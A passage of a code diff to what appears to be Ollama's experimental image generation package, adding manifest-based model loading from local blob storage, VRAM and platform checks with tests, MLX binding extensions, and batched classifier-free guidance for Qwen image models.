+	C := int(imgShape[2])
+
+	if C != 3 {
+		img.Free()
+		return nil, fmt.Errorf("expected 3 channels (RGB), got %d", C)
+	}
+
+	// Copy to CPU and free GPU memory
+	data := img.Data()
+	img.Free()
+
+	// Write directly to Pix slice (faster than SetRGBA)
+	goImg := image.NewRGBA(image.Rect(0, 0, W, H))
+	pix := goImg.Pix
+	for y := 0; y < H; y++ {
+		for x := 0; x < W; x++ {
+			srcIdx := (y*W + x) * C
+			dstIdx := (y*W + x) * 4
+			pix[dstIdx+0] = uint8(clampF(data[srcIdx+0]*255+0.5, 0, 255))
+			pix[dstIdx+1] = uint8(clampF(data[srcIdx+1]*255+0.5, 0, 255))
+			pix[dstIdx+2] = uint8(clampF(data[srcIdx+2]*255+0.5, 0, 255))
+			pix[dstIdx+3] = 255
+		}
+	}
+
+	return goImg, nil
+}
+
+func clampF(v, min, max float32) float32 {
+	if v < min {
+		return min
+	}
+	if v > max {
+		return max
+	}
+	return v
+}

x/imagegen/manifest.go

@@ -0,0 +1,237 @@
+package imagegen
+
+import (
+	"encoding/json"
+	"fmt"
+	"io"
+	"os"
+	"path/filepath"
+	"runtime"
+	"strings"
+)
+
+// ManifestLayer represents a layer in the manifest.
+type ManifestLayer struct {
+	MediaType string `json:"mediaType"`
+	Digest    string `json:"digest"`
+	Size      int64  `json:"size"`
+	Name      string `json:"name,omitempty"` // Path-style name: "component/tensor" or "path/to/config.json"
+}
+
+// Manifest represents the manifest JSON structure.
+type Manifest struct {
+	SchemaVersion int             `json:"schemaVersion"`
+	MediaType     string          `json:"mediaType"`
+	Config        ManifestLayer   `json:"config"`
+	Layers        []ManifestLayer `json:"layers"`
+}
+
+// ModelManifest holds a parsed manifest with helper methods.
+type ModelManifest struct {
+	Manifest *Manifest
+	BlobDir  string
+}
+
+// DefaultBlobDir returns the default blob storage directory.
+func DefaultBlobDir() string {
+	home, err := os.UserHomeDir()
+	if err != nil {
+		home = "."
+	}
+	switch runtime.GOOS {
+	case "darwin":
+		return filepath.Join(home, ".ollama", "models", "blobs")
+	case "linux":
+		return filepath.Join(home, ".ollama", "models", "blobs")
+	case "windows":
+		return filepath.Join(home, ".ollama", "models", "blobs")
+	default:
+		return filepath.Join(home, ".ollama", "models", "blobs")
+	}
+}
+
+// DefaultManifestDir returns the default manifest storage directory.
+func DefaultManifestDir() string {
+	home, err := os.UserHomeDir()
+	if err != nil {
+		home = "."
+	}
+	return filepath.Join(home, ".ollama", "models", "manifests")
+}
+
+// LoadManifest loads a manifest for the given model name.
+// Model name format: "modelname" or "modelname:tag" or "host/namespace/name:tag"
+func LoadManifest(modelName string) (*ModelManifest, error) {
+	manifestPath := resolveManifestPath(modelName)
+
+	data, err := os.ReadFile(manifestPath)
+	if err != nil {
+		return nil, fmt.Errorf("read manifest: %w", err)
+	}
+
+	var manifest Manifest
+	if err := json.Unmarshal(data, &manifest); err != nil {
+		return nil, fmt.Errorf("parse manifest: %w", err)
+	}
+
+	return &ModelManifest{
+		Manifest: &manifest,
+		BlobDir:  DefaultBlobDir(),
+	}, nil
+}
+
+// resolveManifestPath converts a model name to a manifest file path.
+func resolveManifestPath(modelName string) string {
+	// Parse model name into components
+	// Default: registry.ollama.ai/library/<name>/<tag>
+	host := "registry.ollama.ai"
+	namespace := "library"
+	name := modelName
+	tag := "latest"
+
+	// Handle explicit tag
+	if idx := strings.LastIndex(name, ":"); idx != -1 {
+		tag = name[idx+1:]
+		name = name[:idx]
+	}
+
+	// Handle full path like "host/namespace/name"
+	parts := strings.Split(name, "/")
+	switch len(parts) {
+	case 3:
+		host = parts[0]
+		namespace = parts[1]
+		name = parts[2]
+	case 2:
+		namespace = parts[0]
+		name = parts[1]
+	}
+
+	return filepath.Join(DefaultManifestDir(), host, namespace, name, tag)
+}
+
+// BlobPath returns the full path to a blob given its digest.
+func (m *ModelManifest) BlobPath(digest string) string {
+	// Convert "sha256:abc123" to "sha256-abc123"
+	blobName := strings.Replace(digest, ":", "-", 1)
+	return filepath.Join(m.BlobDir, blobName)
+}
+
+// GetTensorLayers returns all tensor layers for a given component.
+// Component should be "text_encoder", "transformer", or "vae".
+// Tensor names are path-style: "component/tensor_name" (e.g., "text_encoder/model.embed_tokens.weight").
+func (m *ModelManifest) GetTensorLayers(component string) []ManifestLayer {
+	prefix := component + "/"
+	var layers []ManifestLayer
+	for _, layer := range m.Manifest.Layers {
+		if layer.MediaType == "application/vnd.ollama.image.tensor" && strings.HasPrefix(layer.Name, prefix) {
+			layers = append(layers, layer)
+		}
+	}
+	return layers
+}
+
+// GetConfigLayer returns the config layer for a given path.
+func (m *ModelManifest) GetConfigLayer(configPath string) *ManifestLayer {
+	for _, layer := range m.Manifest.Layers {
+		if layer.MediaType == "application/vnd.ollama.image.json" && layer.Name == configPath {
+			return &layer
+		}
+	}
+	return nil
+}
+
+// ReadConfig reads and returns the content of a config file.
+func (m *ModelManifest) ReadConfig(configPath string) ([]byte, error) {
+	layer := m.GetConfigLayer(configPath)
+	if layer == nil {
+		return nil, fmt.Errorf("config %q not found in manifest", configPath)
+	}
+
+	blobPath := m.BlobPath(layer.Digest)
+	return os.ReadFile(blobPath)
+}
+
+// ReadConfigJSON reads and unmarshals a config file.
+func (m *ModelManifest) ReadConfigJSON(configPath string, v any) error {
+	data, err := m.ReadConfig(configPath)
+	if err != nil {
+		return err
+	}
+	return json.Unmarshal(data, v)
+}
+
+// OpenBlob opens a blob for reading.
+func (m *ModelManifest) OpenBlob(digest string) (io.ReadCloser, error) {
+	return os.Open(m.BlobPath(digest))
+}
+
+// HasTensorLayers returns true if the manifest has any tensor layers.
+func (m *ModelManifest) HasTensorLayers() bool {
+	for _, layer := range m.Manifest.Layers {
+		if layer.MediaType == "application/vnd.ollama.image.tensor" {
+			return true
+		}
+	}
+	return false
+}
+
+// ModelInfo contains metadata about an image generation model.
+type ModelInfo struct {
+	Architecture   string
+	ParameterCount int64
+	Quantization   string
+}
+
+// GetModelInfo returns metadata about an image generation model.
+func GetModelInfo(modelName string) (*ModelInfo, error) {
+	manifest, err := LoadManifest(modelName)
+	if err != nil {
+		return nil, fmt.Errorf("failed to load manifest: %w", err)
+	}
+
+	info := &ModelInfo{}
+
+	// Read model_index.json for architecture, parameter count, and quantization
+	if data, err := manifest.ReadConfig("model_index.json"); err == nil {
+		var index struct {
+			Architecture   string `json:"architecture"`
+			ParameterCount int64  `json:"parameter_count"`
+			Quantization   string `json:"quantization"`
+		}
+		if json.Unmarshal(data, &index) == nil {
+			info.Architecture = index.Architecture
+			info.ParameterCount = index.ParameterCount
+			info.Quantization = index.Quantization
+		}
+	}
+
+	// Fallback: detect quantization from tensor names if not in config
+	if info.Quantization == "" {
+		for _, layer := range manifest.Manifest.Layers {
+			if strings.HasSuffix(layer.Name, ".weight_scale") {
+				info.Quantization = "FP8"
+				break
+			}
+		}
+		if info.Quantization == "" {
+			info.Quantization = "BF16"
+		}
+	}
+
+	// Fallback: estimate parameter count if not in config
+	if info.ParameterCount == 0 {
+		var totalSize int64
+		for _, layer := range manifest.Manifest.Layers {
+			if layer.MediaType == "application/vnd.ollama.image.tensor" {
+				if !strings.HasSuffix(layer.Name, "_scale") && !strings.HasSuffix(layer.Name, "_qbias") {
+					totalSize += layer.Size
+				}
+			}
+		}
+		// Assume BF16 (2 bytes/param) as rough estimate
+		info.ParameterCount = totalSize / 2
+	}
+
+	return info, nil
+}

x/imagegen/memory.go

@@ -0,0 +1,97 @@
+// Package imagegen provides experimental image generation capabilities for Ollama.
+//
+// This package is in x/ because the tensor model storage format is under development.
+// The goal is to integrate these capabilities into the main Ollama packages once
+// the format is stable.
+//
+// TODO (jmorganca): Integrate into main packages when stable:
+//   - CLI commands → cmd/
+//   - API endpoints → api/
+//   - Model creation → server/
+package imagegen
+
+import (
+	"encoding/json"
+	"fmt"
+	"runtime"
+)
+
+// GB is a convenience constant for gigabytes.
+const GB = 1024 * 1024 * 1024
+
+// SupportedBackends lists the backends that support image generation.
+var SupportedBackends = []string{"metal", "cuda", "cpu"}
+
+// modelVRAMEstimates maps pipeline class names to their estimated VRAM requirements.
+var modelVRAMEstimates = map[string]uint64{
+	"ZImagePipeline":    21 * GB, // ~21GB for Z-Image (text encoder + transformer + VAE)
+	"FluxPipeline":      21 * GB, // ~21GB for Flux (same architecture)
+	"QwenImagePipeline": 80 * GB, // TODO: verify actual requirements, using conservative estimate for now
+}
+
+// CheckPlatformSupport validates that image generation is supported on the current platform.
+// Returns nil if supported, or an error describing why it's not supported.
+func CheckPlatformSupport() error {
+	switch runtime.GOOS {
+	case "darwin":
+		// macOS: Metal is supported via MLX
+		if runtime.GOARCH != "arm64" {
+			return fmt.Errorf("image generation on macOS requires Apple Silicon (arm64), got %s", runtime.GOARCH)
+		}
+		return nil
+	case "linux", "windows":
+		// Linux/Windows: CUDA support (requires mlx or cuda build)
+		// The actual backend availability is checked at runtime
+		return nil
+	default:
+		return fmt.Errorf("image generation is not supported on %s", runtime.GOOS)
+	}
+}
+
+// CheckMemoryRequirements validates that there's enough memory for image generation.
+// Returns nil if memory is sufficient, or an error if not.
+func CheckMemoryRequirements(modelName string, availableMemory uint64) error {
+	required := EstimateVRAM(modelName)
+	if availableMemory < required {
+		return fmt.Errorf("insufficient memory for image generation: need %d GB, have %d GB",
+			required/GB, availableMemory/GB)
+	}
+	return nil
+}
+
+// ResolveModelName checks if a model name is a known image generation model.
+// Returns the normalized model name if found, empty string otherwise.
+func ResolveModelName(modelName string) string {
+	manifest, err := LoadManifest(modelName)
+	if err == nil && manifest.HasTensorLayers() {
+		return modelName
+	}
+	return ""
+}
+
+// EstimateVRAM returns the estimated VRAM needed for an image generation model.
+// Returns a conservative default of 21GB if the model type cannot be determined.
+func EstimateVRAM(modelName string) uint64 {
+	manifest, err := LoadManifest(modelName)
+	if err != nil {
+		return 21 * GB
+	}
+
+	data, err := manifest.ReadConfig("model_index.json")
+	if err != nil {
+		return 21 * GB
+	}
+
+	// Parse just the class name
+	var index struct {
+		ClassName string `json:"_class_name"`
+	}
+	if err := json.Unmarshal(data, &index); err != nil {
+		return 21 * GB
+	}
+
+	if estimate, ok := modelVRAMEstimates[index.ClassName]; ok {
+		return estimate
+	}
+	return 21 * GB
+}

x/imagegen/memory_test.go

@@ -0,0 +1,103 @@
+package imagegen
+
+import (
+	"runtime"
+	"testing"
+)
+
+func TestCheckPlatformSupport(t *testing.T) {
+	err := CheckPlatformSupport()
+
+	switch runtime.GOOS {
+	case "darwin":
+		if runtime.GOARCH == "arm64" {
+			if err != nil {
+				t.Errorf("Expected nil error on darwin/arm64, got: %v", err)
+			}
+		} else {
+			if err == nil {
+				t.Error("Expected error on darwin/non-arm64")
+			}
+		}
+	case "linux", "windows":
+		if err != nil {
+			t.Errorf("Expected nil error on %s, got: %v", runtime.GOOS, err)
+		}
+	default:
+		if err == nil {
+			t.Errorf("Expected error on unsupported platform %s", runtime.GOOS)
+		}
+	}
+}
+
+func TestCheckMemoryRequirements(t *testing.T) {
+	tests := []struct {
+		name            string
+		availableMemory uint64
+		wantErr         bool
+	}{
+		{
+			name:            "sufficient memory",
+			availableMemory: 32 * GB,
+			wantErr:         false,
+		},
+		{
+			name:            "exactly enough memory",
+			availableMemory: 21 * GB,
+			wantErr:         false,
+		},
+		{
+			name:            "insufficient memory",
+			availableMemory: 16 * GB,
+			wantErr:         true,
+		},
+		{
+			name:            "zero memory",
+			availableMemory: 0,
+			wantErr:         true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			// Use a non-existent model name which will default to 21GB estimate
+			err := CheckMemoryRequirements("nonexistent-model", tt.availableMemory)
+			if (err != nil) != tt.wantErr {
+				t.Errorf("CheckMemoryRequirements() error = %v, wantErr %v", err, tt.wantErr)
+			}
+		})
+	}
+}
+
+func TestModelVRAMEstimates(t *testing.T) {
+	// Verify the VRAM estimates map has expected entries
+	expected := map[string]uint64{
+		"ZImagePipeline":    21 * GB,
+		"FluxPipeline":      21 * GB,
+		"QwenImagePipeline": 80 * GB,
+	}
+
+	for name, expectedVRAM := range expected {
+		if actual, ok := modelVRAMEstimates[name]; !ok {
+			t.Errorf("Missing VRAM estimate for %s", name)
+		} else if actual != expectedVRAM {
+			t.Errorf("VRAM estimate for %s = %d GB, want %d GB", name, actual/GB, expectedVRAM/GB)
+		}
+	}
+}
+
+func TestEstimateVRAMDefault(t *testing.T) {
+	// Non-existent model should return default 21GB
+	vram := EstimateVRAM("nonexistent-model-that-does-not-exist")
+	if vram != 21*GB {
+		t.Errorf("EstimateVRAM() = %d GB, want 21 GB", vram/GB)
+	}
+}
+
+func TestResolveModelName(t *testing.T) {
+	// Non-existent model should return empty string
+	result := ResolveModelName("nonexistent-model")
+	if result != "" {
+		t.Errorf("ResolveModelName() = %q, want empty string", result)
+	}
+}

x/imagegen/mlx/mlx.go

@@ -11,6 +11,10 @@ package mlx
 #include "mlx/c/mlx.h"
 #include <stdlib.h>
 #include <stdint.h>
+#include <string.h>
+
+// Forward declare cpu_stream
+static mlx_stream cpu_stream();
 
 // Cached default GPU stream for all ops
 static mlx_stream _default_stream = {0};
@@ -603,6 +607,11 @@ func (a *Array) Valid() bool {
 	return a != nil && a.c.ctx != nil
 }
 
+// Kept returns true if the array is marked to survive Eval() cleanup.
+func (a *Array) Kept() bool {
+	return a != nil && a.kept
+}
+
 func int32ToCInt(s []int32) *C.int {
 	if len(s) == 0 {
 		return nil
@@ -1026,10 +1035,11 @@ func View(a *Array, dtype int) *Array {
 	return newArray(res)
 }
 
-// Contiguous returns a contiguous copy of the array
+// Contiguous returns a contiguous copy of the array (row-major)
 func Contiguous(a *Array) *Array {
 	res := C.mlx_array_new()
-	C.mlx_contiguous(&res, a.c, true, C.default_stream())
+	// Use allow_col=false to force row-major contiguous layout
+	C.mlx_contiguous(&res, a.c, false, C.default_stream())
 	return newArray(res)
 }
 
@@ -1475,6 +1485,44 @@ func (a *Array) ItemInt32() int32 {
 	return int32(val)
 }
 
+// Bytes copies the raw bytes out of the array without type conversion.
+// Works with common dtypes (float32, int32, uint32, uint8).
+// For non-contiguous arrays, call Contiguous() first.
+// Note: Triggers cleanup of non-kept arrays.
+func (a *Array) Bytes() []byte {
+	cleanup()
+	nbytes := a.Nbytes()
+	if nbytes == 0 {
+		return nil
+	}
+
+	// Get raw pointer based on dtype
+	var ptr unsafe.Pointer
+	switch a.Dtype() {
+	case DtypeFloat32:
+		ptr = unsafe.Pointer(C.mlx_array_data_float32(a.c))
+	case DtypeInt32:
+		ptr = unsafe.Pointer(C.mlx_array_data_int32(a.c))
+	case DtypeUint32:
+		ptr = unsafe.Pointer(C.mlx_array_data_uint32(a.c))
+	case DtypeUint8:
+		ptr = unsafe.Pointer(C.mlx_array_data_uint8(a.c))
+	default:
+		// For other types (bf16, f16, etc), convert to float32
+		arr := AsType(a, DtypeFloat32)
+		arr.Eval()
+		ptr = unsafe.Pointer(C.mlx_array_data_float32(arr.c))
+		nbytes = arr.Nbytes()
+	}
+
+	if ptr == nil {
+		return nil
+	}
+	data := make([]byte, nbytes)
+	copy(data, unsafe.Slice((*byte)(ptr), nbytes))
+	return data
+}
+
 // ============ Utility ============
 
 // String returns a string representation
@@ -1653,6 +1701,34 @@ func (s *SafetensorsFile) Free() {
 	C.mlx_map_string_to_string_free(s.metadata)
 }
 
+// SaveSafetensors saves arrays to a safetensors file using MLX's native implementation.
+// This correctly handles all dtypes including uint32 for quantized weights.
+func SaveSafetensors(path string, arrays map[string]*Array) error {
+	cPath := C.CString(path)
+	defer C.free(unsafe.Pointer(cPath))
+
+	// Create the map
+	cArrays := C.mlx_map_string_to_array_new()
+	defer C.mlx_map_string_to_array_free(cArrays)
+
+	// Add each array to the map
+	for name, arr := range arrays {
+		cName := C.CString(name)
+		C.mlx_map_string_to_array_insert(cArrays, cName, arr.c)
+		C.free(unsafe.Pointer(cName))
+	}
+
+	// Create empty metadata (optional)
+	cMeta := C.mlx_map_string_to_string_new()
+	defer C.mlx_map_string_to_string_free(cMeta)
+
+	// Save
+	if C.mlx_save_safetensors(cPath, cArrays, cMeta) != 0 {
+		return fmt.Errorf("failed to save safetensors: %s", path)
+	}
+	return nil
+}
+
 // ============ NPY Loading ============
 
 // LoadNpy loads a numpy array from an npy file
@@ -1762,11 +1838,16 @@ func RandomCategorical(logits *Array, axis int, numSamples int) *Array {
 	return RandomCategoricalWithKey(logits, key2, axis, numSamples)
 }
 
-// RandomNormal creates a random normal (Gaussian) tensor
+// RandomNormal creates a random normal (Gaussian) tensor in float32
 func RandomNormal(shape []int32, seed uint64) *Array {
+	return RandomNormalWithDtype(shape, seed, DtypeFloat32)
+}
+
+// RandomNormalWithDtype creates a random normal (Gaussian) tensor with specified dtype
+func RandomNormalWithDtype(shape []int32, seed uint64, dtype Dtype) *Array {
 	key := RandomKey(seed)
 	res := C.mlx_array_new()
-	C.mlx_random_normal(&res, int32ToCInt(shape), C.size_t(len(shape)), C.MLX_FLOAT32, 0.0, 1.0, key.c, C.default_stream())
+	C.mlx_random_normal(&res, int32ToCInt(shape), C.size_t(len(shape)), C.mlx_dtype(dtype), 0.0, 1.0, key.c, C.default_stream())
 	return newArray(res)
 }
 
@@ -1976,7 +2057,8 @@ func GatherQMM(x, w, scales *Array, biases, lhsIndices, rhsIndices *Array, trans
 // Returns (quantized_weights, scales, biases).
 // groupSize: number of elements quantized together (default 64)
 // bits: bits per element, 2, 4, or 8 (default 4)
-// mode: "affine" (default) or "mxfp4"
+// mode: "affine" (default), "mxfp4", or "mxfp8"
+// Note: mxfp8 mode returns nil biases (only weights and scales)
 func Quantize(w *Array, groupSize, bits int, mode string) (weights, scales, biases *Array) {
 	cMode := C.CString(mode)
 	defer C.free(unsafe.Pointer(cMode))
@@ -1985,14 +2067,21 @@ func Quantize(w *Array, groupSize, bits int, mode string) (weights, scales, bias
 	res := C.mlx_vector_array_new()
 	C.mlx_quantize(&res, w.c, optGroupSize, optBits, cMode, C.default_stream())
 
-	// Result is a vector of 3 arrays: [weights, scales, biases]
+	// Result is a vector of arrays: [weights, scales, biases?]
+	// mxfp8 mode returns only 2 elements (no biases)
+	vecSize := int(C.mlx_vector_array_size(res))
 	var w0, w1, w2 C.mlx_array
 	C.mlx_vector_array_get(&w0, res, 0)
 	C.mlx_vector_array_get(&w1, res, 1)
-	C.mlx_vector_array_get(&w2, res, 2)
+	if vecSize >= 3 {
+		C.mlx_vector_array_get(&w2, res, 2)
+	}
 	C.mlx_vector_array_free(res)
 
-	return newArray(w0), newArray(w1), newArray(w2)
+	if vecSize >= 3 {
+		return newArray(w0), newArray(w1), newArray(w2)
+	}
+	return newArray(w0), newArray(w1), nil
 }
 
 // Dequantize reconstructs weights from quantized form.

x/imagegen/models/qwen_image/qwen_image.go

@@ -9,6 +9,7 @@ import (
 	"path/filepath"
 	"time"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/cache"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/tokenizer"
@@ -172,7 +173,7 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		cfg.Height = 1024
 	}
 	if cfg.Steps <= 0 {
-		cfg.Steps = 30
+		cfg.Steps = 50
 	}
 	if cfg.CFGScale <= 0 {
 		cfg.CFGScale = 4.0
@@ -222,6 +223,14 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 		mlx.Keep(posEmb, negEmb)
 	}
 
+	// Pre-compute batched embeddings for CFG (single forward pass optimization)
+	var batchedEmb *mlx.Array
+	if useCFG {
+		batchedEmb = mlx.Concatenate([]*mlx.Array{posEmb, negEmb}, 0)
+		mlx.Keep(batchedEmb)
+		mlx.Eval(batchedEmb)
+	}
+
 	// Scheduler
 	scheduler := NewFlowMatchScheduler(DefaultSchedulerConfig())
 	scheduler.SetTimesteps(cfg.Steps, imgSeqLen)
@@ -264,10 +273,19 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 
 		var output *mlx.Array
 		if useCFG {
-			// True CFG: run twice and combine with norm rescaling
+			// CFG Batching: single forward pass with batch=2
 			// Note: layer caching with CFG is not supported yet (would need 2 caches)
-			posOutput := m.Transformer.Forward(patches, posEmb, timestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
-			negOutput := m.Transformer.Forward(patches, negEmb, timestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
+			batchedPatches := mlx.Tile(patches, []int32{2, 1, 1})
+			batchedTimestep := mlx.Tile(timestep, []int32{2})
+
+			// Single batched forward pass
+			batchedOutput := m.Transformer.Forward(batchedPatches, batchedEmb, batchedTimestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
+
+			// Split output: [2, L, D] -> pos [1, L, D], neg [1, L, D]
+			L := batchedOutput.Shape()[1]
+			D := batchedOutput.Shape()[2]
+			posOutput := mlx.Slice(batchedOutput, []int32{0, 0, 0}, []int32{1, L, D})
+			negOutput := mlx.Slice(batchedOutput, []int32{1, 0, 0}, []int32{2, L, D})
 
 			diff := mlx.Sub(posOutput, negOutput)
 			scaledDiff := mlx.MulScalar(diff, cfg.CFGScale)
@@ -305,6 +323,9 @@ func (m *Model) generate(cfg *GenerateConfig) (*mlx.Array, error) {
 	if negEmb != nil {
 		negEmb.Free()
 	}
+	if batchedEmb != nil {
+		batchedEmb.Free()
+	}
 	ropeCache.ImgFreqs.Free()
 	ropeCache.TxtFreqs.Free()
 	if stepCache != nil {

x/imagegen/models/qwen_image_edit/qwen_image_edit.go

@@ -241,6 +241,14 @@ func (m *Model) edit(inputImagePaths []string, cfg *GenerateConfig) (*mlx.Array,
 		mlx.Eval(posEmb, negEmb)
 	}
 
+	// Pre-compute batched embeddings for CFG (single forward pass optimization)
+	var batchedEmb *mlx.Array
+	if useCFG {
+		batchedEmb = mlx.Concatenate([]*mlx.Array{posEmb, negEmb}, 0)
+		mlx.Keep(batchedEmb)
+		mlx.Eval(batchedEmb)
+	}
+
 	// Encode all input images to latents and concatenate
 	fmt.Println("Encoding images to latents...")
 	allImageLatentsPacked := make([]*mlx.Array, len(vaeImages))
@@ -291,11 +299,18 @@ func (m *Model) edit(inputImagePaths []string, cfg *GenerateConfig) (*mlx.Array,
 
 		var output *mlx.Array
 		if useCFG {
-			posOutput := m.Transformer.Forward(latentInput, posEmb, timestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
-			negOutput := m.Transformer.Forward(latentInput, negEmb, timestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
+			// CFG Batching: single forward pass with batch=2
+			// Tile inputs: [1, L, D] -> [2, L, D]
+			batchedLatentInput := mlx.Tile(latentInput, []int32{2, 1, 1})
+			batchedTimestep := mlx.Tile(timestep, []int32{2})
 
-			posOutput = mlx.Slice(posOutput, []int32{0, 0, 0}, []int32{1, imgSeqLen, posOutput.Shape()[2]})
-			negOutput = mlx.Slice(negOutput, []int32{0, 0, 0}, []int32{1, imgSeqLen, negOutput.Shape()[2]})
+			// Single batched forward pass
+			batchedOutput := m.Transformer.Forward(batchedLatentInput, batchedEmb, batchedTimestep, ropeCache.ImgFreqs, ropeCache.TxtFreqs)
+
+			// Split output: [2, L, D] -> pos [1, L, D], neg [1, L, D]
+			D := batchedOutput.Shape()[2]
+			posOutput := mlx.Slice(batchedOutput, []int32{0, 0, 0}, []int32{1, imgSeqLen, D})
+			negOutput := mlx.Slice(batchedOutput, []int32{1, 0, 0}, []int32{2, imgSeqLen, D})
 
 			output = applyCFGWithNormRescale(posOutput, negOutput, cfg.CFGScale)
 		} else {
@@ -317,6 +332,9 @@ func (m *Model) edit(inputImagePaths []string, cfg *GenerateConfig) (*mlx.Array,
 	if negEmb != nil {
 		negEmb.Free()
 	}
+	if batchedEmb != nil {
+		batchedEmb.Free()
+	}
 	ropeCache.ImgFreqs.Free()
 	ropeCache.TxtFreqs.Free()
 	imageLatentsPacked.Free()

x/imagegen/models/zimage/scheduler.go

@@ -128,14 +128,9 @@ func (s *FlowMatchEulerScheduler) AddNoise(cleanSample, noise *mlx.Array, timest
 	return mlx.Add(scaledClean, scaledNoise)
 }
 
-// InitNoise creates initial noise for sampling
+// InitNoise creates initial noise for sampling (BFloat16 for GPU efficiency)
 func (s *FlowMatchEulerScheduler) InitNoise(shape []int32, seed int64) *mlx.Array {
-	return RandomNormal(shape, seed)
-}
-
-// RandomNormal creates a random normal tensor using MLX
-func RandomNormal(shape []int32, seed int64) *mlx.Array {
-	return mlx.RandomNormal(shape, uint64(seed))
+	return mlx.RandomNormalWithDtype(shape, uint64(seed), mlx.DtypeBFloat16)
 }
 
 // GetLatentShape returns the latent shape for a given image size

x/imagegen/models/zimage/text_encoder.go

@@ -3,12 +3,10 @@
 package zimage
 
 import (
-	"encoding/json"
 	"fmt"
 	"math"
-	"os"
-	"path/filepath"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/nn"
 	"github.com/ollama/ollama/x/imagegen/safetensors"
@@ -28,27 +26,14 @@ type Qwen3Config struct {
 	HeadDim           int32   `json:"head_dim"`
 }
 
-// loadQwen3Config loads text encoder config from a JSON file
-func loadQwen3Config(path string) (*Qwen3Config, error) {
-	data, err := os.ReadFile(path)
-	if err != nil {
-		return nil, fmt.Errorf("read config: %w", err)
-	}
-	var cfg Qwen3Config
-	if err := json.Unmarshal(data, &cfg); err != nil {
-		return nil, fmt.Errorf("parse config: %w", err)
-	}
-	return &cfg, nil
-}
-
 // Qwen3Attention implements Qwen3 attention with QK norms
 type Qwen3Attention struct {
-	QProj *nn.Linear  `weight:"q_proj"`
-	KProj *nn.Linear  `weight:"k_proj"`
-	VProj *nn.Linear  `weight:"v_proj"`
-	OProj *nn.Linear  `weight:"o_proj"`
-	QNorm *nn.RMSNorm `weight:"q_norm"`
-	KNorm *nn.RMSNorm `weight:"k_norm"`
+	QProj nn.LinearLayer `weight:"q_proj"`
+	KProj nn.LinearLayer `weight:"k_proj"`
+	VProj nn.LinearLayer `weight:"v_proj"`
+	OProj nn.LinearLayer `weight:"o_proj"`
+	QNorm *nn.RMSNorm    `weight:"q_norm"`
+	KNorm *nn.RMSNorm    `weight:"k_norm"`
 	// Computed fields
 	NHeads    int32
 	NKVHeads  int32
@@ -151,9 +136,9 @@ func repeatKV(x *mlx.Array, repeats int32) *mlx.Array {
 
 // Qwen3MLP implements Qwen3 SwiGLU MLP
 type Qwen3MLP struct {
-	GateProj *nn.Linear `weight:"gate_proj"`
-	UpProj   *nn.Linear `weight:"up_proj"`
-	DownProj *nn.Linear `weight:"down_proj"`
+	GateProj nn.LinearLayer `weight:"gate_proj"`
+	UpProj   nn.LinearLayer `weight:"up_proj"`
+	DownProj nn.LinearLayer `weight:"down_proj"`
 }
 
 // Forward applies the MLP
@@ -194,33 +179,44 @@ type Qwen3TextEncoder struct {
 	*Qwen3Config
 }
 
-// Load loads the Qwen3 text encoder from a directory
-func (m *Qwen3TextEncoder) Load(path string) error {
-	fmt.Println("Loading Qwen3 text encoder...")
+// Load loads the Qwen3 text encoder from ollama blob storage.
+func (m *Qwen3TextEncoder) Load(manifest *imagegen.ModelManifest) error {
+	fmt.Print("  Loading text encoder... ")
 
-	// Load config
-	cfg, err := loadQwen3Config(filepath.Join(path, "config.json"))
-	if err != nil {
+	// Load config from blob
+	var cfg Qwen3Config
+	if err := manifest.ReadConfigJSON("text_encoder/config.json", &cfg); err != nil {
 		return fmt.Errorf("config: %w", err)
 	}
-	m.Qwen3Config = cfg
-
-	// Pre-allocate layers slice
+	m.Qwen3Config = &cfg
 	m.Layers = make([]*Qwen3Block, cfg.NumHiddenLayers)
 
-	// Load weights
-	weights, err := safetensors.LoadModelWeights(path)
+	// Load weights from tensor blobs
+	weights, err := imagegen.LoadWeightsFromManifest(manifest, "text_encoder")
 	if err != nil {
 		return fmt.Errorf("weights: %w", err)
 	}
+	if err := weights.Load(0); err != nil {
+		return fmt.Errorf("load weights: %w", err)
+	}
+	defer weights.ReleaseAll()
 
-	fmt.Print("  Loading weights via struct tags... ")
+	return m.loadWeights(weights)
+}
+
+// loadWeights loads weights from any WeightSource into the model
+func (m *Qwen3TextEncoder) loadWeights(weights safetensors.WeightSource) error {
 	if err := safetensors.LoadModule(m, weights, ""); err != nil {
 		return fmt.Errorf("load module: %w", err)
 	}
+	m.initComputedFields()
 	fmt.Println("✓")
+	return nil
+}
 
-	// Initialize computed fields
+// initComputedFields initializes computed fields after loading weights
+func (m *Qwen3TextEncoder) initComputedFields() {
+	cfg := m.Qwen3Config
 	m.FinalNorm.Eps = cfg.RMSNormEps
 	for _, block := range m.Layers {
 		// Attention
@@ -235,9 +231,6 @@ func (m *Qwen3TextEncoder) Load(path string) error {
 		block.InputLayerNorm.Eps = cfg.RMSNormEps
 		block.PostAttnLayerNorm.Eps = cfg.RMSNormEps
 	}
-
-	weights.ReleaseAll()
-	return nil
 }
 
 // Forward encodes text tokens

x/imagegen/models/zimage/transformer.go

@@ -4,12 +4,10 @@
 package zimage
 
 import (
-	"encoding/json"
 	"fmt"
 	"math"
-	"os"
-	"path/filepath"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/cache"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/nn"
@@ -38,8 +36,8 @@ type TransformerConfig struct {
 // TimestepEmbedder creates sinusoidal timestep embeddings
 // Output dimension is 256 (fixed), used for AdaLN modulation
 type TimestepEmbedder struct {
-	Linear1       *nn.Linear `weight:"mlp.0"`
-	Linear2       *nn.Linear `weight:"mlp.2"`
